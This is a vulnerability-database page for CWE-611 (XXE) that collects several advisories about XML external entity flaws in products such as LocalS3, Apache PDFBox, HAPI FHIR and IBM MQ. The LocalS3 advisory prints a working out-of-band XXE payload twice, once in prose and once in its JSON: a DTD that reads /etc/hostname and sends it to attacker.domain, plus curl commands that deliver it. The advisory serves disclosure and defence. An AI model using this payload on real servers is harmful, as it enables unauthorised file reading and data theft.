Common Weakness Enumeration
CWE-611
AllowedImproper Restriction of XML External Entity Reference
Abstraction: Base · Status: Draft
The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.
1694 vulnerabilities reference this CWE, most recent first.
GHSA-47QW-CCJM-9C2C
Vulnerability from github – Published: 2025-03-10 18:29 – Updated: 2025-03-10 18:29
VLAI
Summary
LocalS3 XML Parser Vulnerable to XML External Entity (XXE) Injection
Details
Description
The LocalS3 project, which implements an S3-compatible storage interface, contains a critical XML External Entity (XXE) Injection vulnerability in its XML parsing functionality. When processing XML requests for multipart upload operations, the application accepts and processes XML external entities, allowing an attacker to read local system files and potentially make outbound network connections.
The vulnerability exists because the XML parser is configured to process external entities and DTD (Document Type Definition) declarations without proper restrictions. This allows an attacker to define external entities that can read local files and exfiltrate their contents through outbound HTTP requests.
The vulnerability is particularly severe as it allows direct access to sensitive files on the filesystem, bypassing any directory traversal protections that might be in place for normal S3 operations.
Steps to Reproduce
- Create a malicious DTD file containing the following content:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.domain/?flag=%file;'>">
%eval;
%exfil;
-
Host the malicious DTD file on an accessible web server
-
Initialize a multipart upload to the LocalS3 server:
curl -X PUT "http://app/test-bucket/test.txt?uploads"
- Send a POST request to complete the multipart upload with the following XML payload: ``` curl -X POST "http://app/test-bucket/test.txt?uploadId=[upload-id]" \ -H "Content-Type: application/xml" \ -d '
%dtd; ]> 1 test ' ```
The server will process the XML, load the external DTD, and when evaluating the entities, will read the contents of /etc/hostname and send them to the attacker's server via an HTTP request.
Mitigations
- Disable DTD processing in the XML parser configuration
- If DTD processing is required, disable the ability to load external entities and external DTDs
- Implement XML parsing with secure defaults using JAXP's XMLConstants.FEATURE_SECURE_PROCESSING feature
- Set up proper input validation and sanitization for all XML processing operations
Impact
An attacker can exploit this vulnerability to read arbitrary files from the server's filesystem and exfiltrate their contents through outbound HTTP requests. The vulnerability requires no authentication and can be exploited by anyone who can send requests to the LocalS3 server. This could lead to exposure of sensitive information including configuration files, credentials, and other confidential data stored on the server.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.github.robothy:local-s3-rest"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.21"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-10T18:29:36Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Description\n\nThe LocalS3 project, which implements an S3-compatible storage interface, contains a critical XML External Entity (XXE) Injection vulnerability in its XML parsing functionality. When processing XML requests for multipart upload operations, the application accepts and processes XML external entities, allowing an attacker to read local system files and potentially make outbound network connections.\n\nThe vulnerability exists because the XML parser is configured to process external entities and DTD (Document Type Definition) declarations without proper restrictions. This allows an attacker to define external entities that can read local files and exfiltrate their contents through outbound HTTP requests.\n\nThe vulnerability is particularly severe as it allows direct access to sensitive files on the filesystem, bypassing any directory traversal protections that might be in place for normal S3 operations.\n\n## Steps to Reproduce\n\n1. Create a malicious DTD file containing the following content:\n```\n\u003c!ENTITY % file SYSTEM \"file:///etc/hostname\"\u003e\n\u003c!ENTITY % eval \"\u003c!ENTITY \u0026#x25; exfil SYSTEM \u0027http://attacker.domain/?flag=%file;\u0027\u003e\"\u003e\n%eval;\n%exfil;\n```\n\n2. Host the malicious DTD file on an accessible web server\n\n3. Initialize a multipart upload to the LocalS3 server:\n```\ncurl -X PUT \"http://app/test-bucket/test.txt?uploads\"\n```\n\n4. Send a POST request to complete the multipart upload with the following XML payload:\n ```\n curl -X POST \"http://app/test-bucket/test.txt?uploadId=[upload-id]\" \\\n -H \"Content-Type: application/xml\" \\\n -d \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n \u003c!DOCTYPE data [\n \u003c!ENTITY % dtd SYSTEM \"http://attacker.domain/evil.dtd\"\u003e\n %dtd;\n ]\u003e\n \u003cCompleteMultipartUpload\u003e\n \u003cPart\u003e\n \u003cPartNumber\u003e1\u003c/PartNumber\u003e\n \u003cETag\u003etest\u003c/ETag\u003e\n \u003c/Part\u003e\n \u003c/CompleteMultipartUpload\u003e\u0027\n ```\n\nThe server will process the XML, load the external DTD, and when evaluating the entities, will read the contents of /etc/hostname and send them to the attacker\u0027s server via an HTTP request.\n\n## Mitigations\n\n- Disable DTD processing in the XML parser configuration\n- If DTD processing is required, disable the ability to load external entities and external DTDs\n- Implement XML parsing with secure defaults using JAXP\u0027s XMLConstants.FEATURE_SECURE_PROCESSING feature\n- Set up proper input validation and sanitization for all XML processing operations\n\n## Impact\n\nAn attacker can exploit this vulnerability to read arbitrary files from the server\u0027s filesystem and exfiltrate their contents through outbound HTTP requests. The vulnerability requires no authentication and can be exploited by anyone who can send requests to the LocalS3 server. This could lead to exposure of sensitive information including configuration files, credentials, and other confidential data stored on the server.",
"id": "GHSA-47qw-ccjm-9c2c",
"modified": "2025-03-10T18:29:37Z",
"published": "2025-03-10T18:29:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Robothy/local-s3/security/advisories/GHSA-47qw-ccjm-9c2c"
},
{
"type": "WEB",
"url": "https://github.com/Robothy/local-s3/commit/d6ed756ceb30c1eb9d4263321ac683d734f8836f"
},
{
"type": "PACKAGE",
"url": "https://github.com/Robothy/local-s3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "LocalS3 XML Parser Vulnerable to XML External Entity (XXE) Injection"
}
GHSA-47R3-3H3H-GH9W
Vulnerability from github – Published: 2022-03-26 00:00 – Updated: 2022-04-05 00:01
VLAI
Details
GE Gas Power ToolBoxST Version v04.07.05C suffers from an XML external entity (XXE) vulnerability using the DTD parameter entities technique that could result in disclosure and retrieval of arbitrary data on the affected node via an out-of-band (OOB) attack. The vulnerability is triggered when input passed to the XML parser is not sanitized while parsing the XML project/template file.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2021-44477"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-25T19:15:00Z",
"severity": "HIGH"
},
"details": "GE Gas Power ToolBoxST Version v04.07.05C suffers from an XML external entity (XXE) vulnerability using the DTD parameter entities technique that could result in disclosure and retrieval of arbitrary data on the affected node via an out-of-band (OOB) attack. The vulnerability is triggered when input passed to the XML parser is not sanitized while parsing the XML project/template file.",
"id": "GHSA-47r3-3h3h-gh9w",
"modified": "2022-04-05T00:01:01Z",
"published": "2022-03-26T00:00:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44477"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-025-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-489F-47V3-X4HM
Vulnerability from github – Published: 2022-05-14 01:43 – Updated: 2022-05-14 01:43
VLAI
Details
Accusoft PrizmDoc HTML5 Document Viewer before 13.5 contains an XML external entity (XXE) vulnerability, allowing an attacker to read arbitrary files or cause a denial of service (resource consumption).
Severity
9.1 (Critical)
{
"affected": [],
"aliases": [
"CVE-2018-15805"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-12-10T19:29:00Z",
"severity": "CRITICAL"
},
"details": "Accusoft PrizmDoc HTML5 Document Viewer before 13.5 contains an XML external entity (XXE) vulnerability, allowing an attacker to read arbitrary files or cause a denial of service (resource consumption).",
"id": "GHSA-489f-47v3-x4hm",
"modified": "2022-05-14T01:43:19Z",
"published": "2022-05-14T01:43:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15805"
},
{
"type": "WEB",
"url": "https://help.accusoft.com/PrizmDoc/v13.5/HTML/webframe.html#Release_v13_5.html"
},
{
"type": "WEB",
"url": "https://medium.com/@mrnikhilsri/oob-xxe-in-prizmdoc-cve-2018-15805-dfb1e474345c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4925-4J76-6CW8
Vulnerability from github – Published: 2022-05-24 17:49 – Updated: 2022-05-24 17:49
VLAI
Details
An XML External Entities (XXE) vulnerability in Media Server component of Avaya Equinox Conferencing could allow an authenticated, remote attacker to gain read access to information that is stored on an affected system or even potentially lead to a denial of service. The affected versions of Avaya Equinox Conferencing includes all 9.x versions before 9.1.11. Equinox Conferencing is now offered as Avaya Meetings Server.
{
"affected": [],
"aliases": [
"CVE-2020-7037"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-28T22:15:00Z",
"severity": "HIGH"
},
"details": "An XML External Entities (XXE) vulnerability in Media Server component of Avaya Equinox Conferencing could allow an authenticated, remote attacker to gain read access to information that is stored on an affected system or even potentially lead to a denial of service. The affected versions of Avaya Equinox Conferencing includes all 9.x versions before 9.1.11. Equinox Conferencing is now offered as Avaya Meetings Server.",
"id": "GHSA-4925-4j76-6cw8",
"modified": "2022-05-24T17:49:05Z",
"published": "2022-05-24T17:49:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7037"
},
{
"type": "WEB",
"url": "https://support.avaya.com/css/P8/documents/101075574"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-492F-PWHC-H335
Vulnerability from github – Published: 2022-05-17 02:50 – Updated: 2022-05-17 02:50
VLAI
Details
Dell Integrated Remote Access Controller (iDRAC) 7/8 before 2.21.21.21 has XXE.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2015-7273"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-10T03:59:00Z",
"severity": "CRITICAL"
},
"details": "Dell Integrated Remote Access Controller (iDRAC) 7/8 before 2.21.21.21 has XXE.",
"id": "GHSA-492f-pwhc-h335",
"modified": "2022-05-17T02:50:23Z",
"published": "2022-05-17T02:50:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-7273"
},
{
"type": "WEB",
"url": "http://en.community.dell.com/techcenter/extras/m/white_papers/20441859"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-492J-2XCM-P3GG
Vulnerability from github – Published: 2022-05-24 16:47 – Updated: 2024-04-04 00:55
VLAI
Details
XXE in the XML parser library in RealObjects PDFreactor before 10.1.10722 allows attackers to supply malicious XML content in externally referenced resources, leading to disclosure of local file contents and/or denial of service conditions.
Severity
9.1 (Critical)
{
"affected": [],
"aliases": [
"CVE-2019-12154"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-06-11T21:29:00Z",
"severity": "CRITICAL"
},
"details": "XXE in the XML parser library in RealObjects PDFreactor before 10.1.10722 allows attackers to supply malicious XML content in externally referenced resources, leading to disclosure of local file contents and/or denial of service conditions.",
"id": "GHSA-492j-2xcm-p3gg",
"modified": "2024-04-04T00:55:11Z",
"published": "2022-05-24T16:47:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12154"
},
{
"type": "WEB",
"url": "https://blog.gdssecurity.com/labs/2019/5/28/ssrf-and-xxe-vulnerabilities-in-pdfreactor.html"
},
{
"type": "WEB",
"url": "https://www.pdfreactor.com/important-pdfreactor-security-advisory"
},
{
"type": "WEB",
"url": "https://www.pdfreactor.com/pdfreactor-10-maintenance-release-10-1-10722-now-available"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4C32-XMGJ-2G98
Vulnerability from github – Published: 2018-10-17 18:22 – Updated: 2021-09-01 14:11
VLAI
Summary
High severity vulnerability that affects org.apache.pdfbox:pdfbox
Details
Apache PDFBox before 1.8.12 and 2.x before 2.0.1 does not properly initialize the XML parsers, which allows context-dependent attackers to conduct XML External Entity (XXE) attacks via a crafted PDF.
Severity
7.8 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.pdfbox:pdfbox"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.pdfbox:pdfbox"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.0.0"
]
}
],
"aliases": [
"CVE-2016-2175"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T20:58:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Apache PDFBox before 1.8.12 and 2.x before 2.0.1 does not properly initialize the XML parsers, which allows context-dependent attackers to conduct XML External Entity (XXE) attacks via a crafted PDF.",
"id": "GHSA-4c32-xmgj-2g98",
"modified": "2021-09-01T14:11:59Z",
"published": "2018-10-17T18:22:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-2175"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-4c32-xmgj-2g98"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/ad5fbc86c1d1821ae1b963e8561ab6d6a5f66b2848e84f5a31477f54@%3Ccommits.tika.apache.org%3E"
},
{
"type": "WEB",
"url": "http://mail-archives.us.apache.org/mod_mbox/www-announce/201605.mbox/%3C83a03bcf-f86b-4688-37b5-615c080291d8@apache.org%3E"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/137214/Apache-PDFBox-1.8.11-2.0.0-XML-Injection.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2017-0179.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2017-0248.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2017-0249.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2017-0272.html"
},
{
"type": "WEB",
"url": "http://svn.apache.org/viewvc?view=revision\u0026revision=1739564"
},
{
"type": "WEB",
"url": "http://svn.apache.org/viewvc?view=revision\u0026revision=1739565"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2016/dsa-3606"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/538503/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/90902"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "High severity vulnerability that affects org.apache.pdfbox:pdfbox"
}
GHSA-4CF2-CXP3-RJR7
Vulnerability from github – Published: 2024-11-05 18:32 – Updated: 2024-11-06 23:38
VLAI
Summary
HAPI FHIR XML External Entity (XXE) vulnerability
Details
An XML External Entity (XXE) vulnerability in HAPI FHIR before v6.4.0 allows attackers to access sensitive information or execute arbitrary code via supplying a crafted request containing malicious XML entities.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.convertors"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.dstu2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.dstu2016may"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.dstu3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.r4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.r4b"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.r5"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.utilities"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.validation"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-51132"
],
"database_specific": {
"cwe_ids": [
"CWE-601",
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-05T18:56:08Z",
"nvd_published_at": "2024-11-05T17:15:07Z",
"severity": "HIGH"
},
"details": "An XML External Entity (XXE) vulnerability in HAPI FHIR before v6.4.0 allows attackers to access sensitive information or execute arbitrary code via supplying a crafted request containing malicious XML entities.",
"id": "GHSA-4cf2-cxp3-rjr7",
"modified": "2024-11-06T23:38:37Z",
"published": "2024-11-05T18:32:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51132"
},
{
"type": "WEB",
"url": "https://github.com/hapifhir/org.hl7.fhir.core/commit/7ede053a5fca50cc2802884c661a241d51703a67"
},
{
"type": "WEB",
"url": "https://github.com/JAckLosingHeart/CVE-2024-51132-POC"
},
{
"type": "PACKAGE",
"url": "https://github.com/hapifhir/org.hl7.fhir.core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "HAPI FHIR XML External Entity (XXE) vulnerability"
}
GHSA-4CX5-89VM-833X
Vulnerability from github – Published: 2024-12-02 17:15 – Updated: 2026-05-14 20:44
VLAI
Summary
veraPDF CLI has potential XXE (XML External Entity Injection) vulnerability
Details
Impact
Executing policy checks using custom schematron files via the CLI invokes an XSL transformation that may theoretically lead to a remote code execution (RCE) vulnerability.
Patches
We are currently working on a patch that will be released when ready.
Workarounds
This doesn't affect the standard validation and policy checks functionality, veraPDF's common use cases. Most veraPDF users don't insert any custom XSLT code into policy profiles, which are based on Schematron syntax rather than direct XSL transforms. For users who do, only load custom policy files from sources you trust.
References
Original issue: #1488
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.26.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.verapdf:core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.26.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.verapdf:core-jakarta"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.26.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.verapdf:core-arlington"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.26.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.verapdf:verapdf-library"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.26.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.verapdf:verapdf-library-jakarta"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.26.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.verapdf:verapdf-library-arlington"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.26.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.verapdf:library"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.26.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.verapdf:library-jakarta"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.26.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.verapdf:library-arlington"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-52800"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-02T17:15:24Z",
"nvd_published_at": "2024-11-29T19:15:08Z",
"severity": "LOW"
},
"details": "### Impact\nExecuting policy checks using custom schematron files via the CLI invokes an XSL transformation that may theoretically lead to a remote code execution (RCE) vulnerability.\n\n### Patches\nWe are currently working on a patch that will be released when ready.\n\n### Workarounds\nThis doesn\u0027t affect the standard validation and policy checks functionality, veraPDF\u0027s common use cases. Most veraPDF users don\u0027t insert any custom XSLT code into policy profiles, which are based on Schematron syntax rather than direct XSL transforms. For users who do, only load custom policy files from sources you trust.\n\n### References\nOriginal issue: #1488",
"id": "GHSA-4cx5-89vm-833x",
"modified": "2026-05-14T20:44:45Z",
"published": "2024-12-02T17:15:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/veraPDF/veraPDF-library/security/advisories/GHSA-4cx5-89vm-833x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52800"
},
{
"type": "WEB",
"url": "https://github.com/veraPDF/veraPDF-library/issues/1488"
},
{
"type": "PACKAGE",
"url": "https://github.com/veraPDF/veraPDF-library"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "veraPDF CLI has potential XXE (XML External Entity Injection) vulnerability"
}
GHSA-4F9W-3C78-J5R7
Vulnerability from github – Published: 2022-08-20 00:00 – Updated: 2022-08-23 00:00
VLAI
Details
IBM MQ 8.0, (9.0, 9.1, 9.2 LTS), and (9.1 and 9.2 CD) are vulnerable to an XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources. IBM X-Force ID: 226339.
Severity
9.1 (Critical)
{
"affected": [],
"aliases": [
"CVE-2022-22489"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-19T19:15:00Z",
"severity": "CRITICAL"
},
"details": "IBM MQ 8.0, (9.0, 9.1, 9.2 LTS), and (9.1 and 9.2 CD) are vulnerable to an XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources. IBM X-Force ID: 226339.",
"id": "GHSA-4f9w-3c78-j5r7",
"modified": "2022-08-23T00:00:19Z",
"published": "2022-08-20T00:00:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22489"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/226339"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6613021"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Implementation
System Configuration
Many XML parsers and validators can be configured to disable external entity expansion.
CAPEC-221: Data Serialization External Entities Blowup
This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.